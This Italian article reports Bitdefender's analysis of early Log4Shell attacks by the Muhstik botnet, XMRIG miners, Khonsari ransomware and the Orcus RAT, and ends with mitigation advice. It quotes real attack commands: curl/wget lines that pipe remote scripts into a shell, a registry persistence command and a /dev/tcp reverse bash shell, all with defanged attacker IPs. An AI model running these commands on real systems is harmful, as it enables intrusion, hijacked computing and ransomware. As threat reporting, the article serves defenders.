In queste ore vari ricercatori stanno rilevando i primi tentativi di exploit Log4Shell della vulnerabilità Java Log4j Apache. Una prima analisi approfondita di come funzionano questi attacchi e a quali fini arriva oggi da BitDefender, in uno studio.
“Ottenere un accesso iniziale tramite l’exploit seguito dal cryptojacking (estrazione malevola di criptovalute senza la conoscenza e il consenso del proprietario), sembra essere la motivazione principale per gli attori delle minacce in questa fase iniziale di sfruttamento”, si legge.
Le seguenti rilevazioni sono basate sulla telemetria di Bitdefender da centinaia di milioni di sensori globali e non sono basate su dati provenienti da honeypots o dal monitoraggio del traffico nelle reti botnet.
Indice degli argomenti
Muhstik Botnet per sfruttare vulnerabilità Log4J
A quanto riporta lo studio, diverse botnet stanno già sfruttando questa vulnerabilità. Le botnet stanno prendendo di mira i server per distribuire backdoor, espandere la loro rete botnet (con server Internet ben connessi) e distribuire cryptominer. L’attacco su larga scala è fondamentale per il successo di questi operatori di botnet.
Vulnerabilità Log4Shell: tutti i dettagli e come mitigare il rischio
“Nella nostra telemetria, abbiamo identificato Muhstik botnet come uno dei primi adottanti”, si legge.
Il file di classe maligno hxxp://45.130.229[.]168:9999/Exploit.class viene utilizzato dagli attaccanti per eseguire il comando
curl hxxp://18.228.7[.]109/.log/log | sh. Lo script di shell cerca poi di scaricare più file ELF (Executable and Linkable Format) e script di shell per poi eseguirli.
Lo scopo di questi script è quello di installare la botnet Muhstik e distribuire un cryptominer.
Uso di Muhstik botnet
Questi file vengono rilevati come:
GenericKD.47627843
Gen:Variant.Trojan.Linux.Gafgyt.22
Linux.Zojfor.A.
Il file di classe viene rilevato come:
GenericKD.47627832
XMRIG miner
“Abbiamo anche rilevato gli attori della minaccia che cercano di distribuire il miner XMRIG. Questo viene attivato tramite il rilevamento di anomalie in Bitdefender EDR quando viene avviato un nuovo sottoprocesso sospetto”:
Anomaly detected in Bitdefender EDR
Questo processo esegue la riga di comando cmd /C “(curl -s hxxp://158.247.218[.]44:8000/wsnbb.sh||wget -q -O- hxxp://154.247.218[.]44:8000/wsnbb.sh) | bash, which downloads the script file wsnbb.sh.
Questo script tenta poi di distribuire il miner XMRIG da GitHub:
Questo comportamento viene rilevato da Bitdefender EDR come:
NotExists.1.Process.NewSubprocessesStarted
Il XMRIG miner è rilevato come:
- Gen:Variant.Application.Linux.Miner.3 (Linux)
- Gen:Variant.Application.Miner.2 (Windows)
Application.MAC.Generic.194 (macOS)
Nuova famiglia Ransomware Khonsari
“Mentre la maggior parte degli attacchi osservati finora sembra prendere di mira i server Linux, abbiamo anche visto attacchi contro sistemi che eseguono il sistema operativo Windows. Per questi attacchi, abbiamo rilevato il tentativo di distribuire una famiglia di ransomware chiamata Khonsari”, si legge.
Questo tentativo di sfruttare la vulnerabilità Log4j utilizza la classe maligna hxxp://3.145.115[.]94/Main.class per scaricare un payload aggiuntivo. Domenica 11 dicembre, Bitdefender ha osservato questo payload come un file binario .NET dannoso scaricato da hxxp://3.145.115[.]94/zambo/groenhuyzen.exe. Si tratta di una nuova famiglia di ransomware, chiamata Khonsari dopo l’estensione utilizzata sui file crittografati.
Una volta eseguito, il file maligno elencherà tutte le unità e le cripterà interamente, tranne l’unità C:. Sull’unità C:, Khonsari cripterà solo le seguenti cartelle:
C:Users<user>Documents
C:Users<user>Video
C:Users<utente>Immagini
C:Userscode(0144)/Downloads
C:Users<user>Desktop
I file con estensione .ini e .lnk sono ignorati. L’algoritmo usato per la crittografia è AES 128 CBC usando PaddingMode.Zeros. Dopo la crittografia, l’estensione .khonsari viene aggiunta ad ogni file.
Una nota di riscatto viene scritta in C:Users<user>DesktopHOW TO GET YOUR FILES BACK.TXT e aperta con Notepad:
Your files have been encrypted and stolen by the Khonsari family.If you wish to decrypt , call (225) 287-1309 or email karenkhonsari@gmail.com.If you do not know how to buy btc, use a search engine to find exchanges.DO NOT MODIFY OR DELETE THIS FILE OR ANY ENCRYPTED FILES. IF YOU DO, YOUR FILES MAY BE UNRECOVERABLE.
“C’è anche una richiesta GET a hxxp://3.145.115[.]94/zambos_caldo_de_p.txt. La risposta non viene utilizzata nel codice binario, e la nostra ipotesi è che la richiesta GET venga eseguita per scopi di registrazione e monitoraggio”.
Il ransomware viene rilevato come:
- GenericKD.47628589.
Il file di classe viene rilevato come:
- GenericKD.38253445.
Trojan di accesso remoto Orcus
Un ulteriore tentativo di scaricare nuovi payload è stato osservato da Bitdefender lunedì 13 dicembre, utilizzando lo stesso URL hxxp://3.145.115[.]94/Main.class. Questa volta, però, Main.class tenta di scaricare il nuovo payload da hxxp://test.verble[.]rocks/dorflersaladreviews.jar.
Il file .jar viene copiato in C:Users<user>AppDataLocalAdobefengchenteamchina.class e la persistenza viene impostata usando il comando
reg.exe add “hkcusoftwaremicrosoftwindowscurrentversionrun” /v “adobe telemetry agent” /t reg_sz /f /d “c:program files (x86)common filesoraclejavajavapathjavaw.exe -jar c:users<user>appdatalocaladobefengchenteamchina.class peedee”
Scarica lo shellcode da hxxp://test.verble.rocks/dorflersaladreviews.bin.encrypted e lo inietta nella memoria del processo conhost.exe. Qui, lo shellcode decifra e carica in memoria un altro payload maligno, che sembra essere il trojan (RAT) Orcus Remote Access che si connette al server di comando e controllo test.verble[.]rocks.
Il file di classe viene rilevato come:
GenericKD.38268017
Il file .jar viene rilevato come:
GenericKD.38267576
Lo shellcode viene rilevato come:
Agent.FQSI
DonutLoader.A
Orcus RAT è stato rilevato come:
Gen:Variant.MSILPerseus.207255
Shell Bash inversa
“Guadagnare un punto d’appoggio per un successivo sfruttamento è una tendenza che stiamo vedendo dopo gli exploit 0-day. Distribuire una shell inversa su questi server vulnerabili è una semplice azione che può essere seguita in seguito da un attacco su larga scala.
In uno degli attacchi che abbiamo visto, il file di classe maligno hxxp://152.32.216[.]78/Exploit.class viene utilizzato per eseguire la seguente riga di comando”, si legge nello studio:
Il comando decrittato è l’esecuzione della seguente linea di comando. Il risultato di questo comando è la creazione di una shell bash inversa.
/bin/bash -i > /dev/tcp/152.32.216[.]78/7777 0<&1 2>&1
La semplicità di questo attacco dimostra quanto sia facile armare la vulnerabilità Log4j.
Questo comportamento è stato rilevato da Bitdefender EDR come:
BashReverseShell
Il file di classe viene rilevato come:
GenericKD.47629137
Come rimediare a Log4Shell/Log4J, consigli Bitdefender
Bitdefender consiglia vivamente ai propri clienti di intraprendere un’azione immediata e di implementare tutte le patch esistenti e le misure di mitigazione consigliate dai fornitori del settore.
Scansione completa infrastruttura e supply chain
Si consiglia di condurre una verifica completa dell’infrastruttura e delle applicazioni software per identificare tutti i sistemi che implementano il framework di registrazione Apache Log4j2. Quindi, aggiornare immediatamente queste implementazioni a Log4j versione 2.15.0, che non è vulnerabile, o implementare le mitigazioni di configurazione raccomandate da Apache, maggiori dettagli in questo articolo.
“Riesaminate la vostra catena di fornitura del software e la distinta base del software. Cercate contromisure di mitigazione o patch dai manutentori di progetti software open-source o dai produttori di software commerciale per tutti i sistemi interessati. Questo è particolarmente vero per il software che state eseguendo su sistemi che si affacciano su Internet, ma non dovrebbe essere limitato a tali sistemi a causa della minaccia di attacco laterale posta dalla gravità di questa vulnerabilità”.
Implementare un approccio di difesa in profondità
Al momento, gli attacchi consistono in più fasi, dando al team di sicurezza una buona opportunità per evitare che un incidente di sicurezza si evolva in una violazione della sicurezza.
“Nella nostra telemetria, abbiamo visto vari moduli che impediscono lo sfruttamento, dalla protezione a livello di rete (reputazione URL/IP), all’antimalware statico (rilevando il miner o il payload dannoso noto) all’Advanced Threat Defense per rilevare il comportamento sospetto dei processi”.
Si consiglia insomma di monitorare attivamente l’infrastruttura per potenziali tentativi di sfruttamento e rispondere di conseguenza.
“È importante notare che questa è una situazione altamente dinamica e molti fornitori di software e progetti open-source stanno ancora indagando sulla presenza di Log4j2 nei loro software con ulteriori avvisi previsti nei prossimi giorni e settimane. Pertanto, monitorare da vicino gli aggiornamenti dei fornitori dovrebbe essere una parte fondamentale dei vostri sforzi di mitigazione in corso”, si legge nello studio.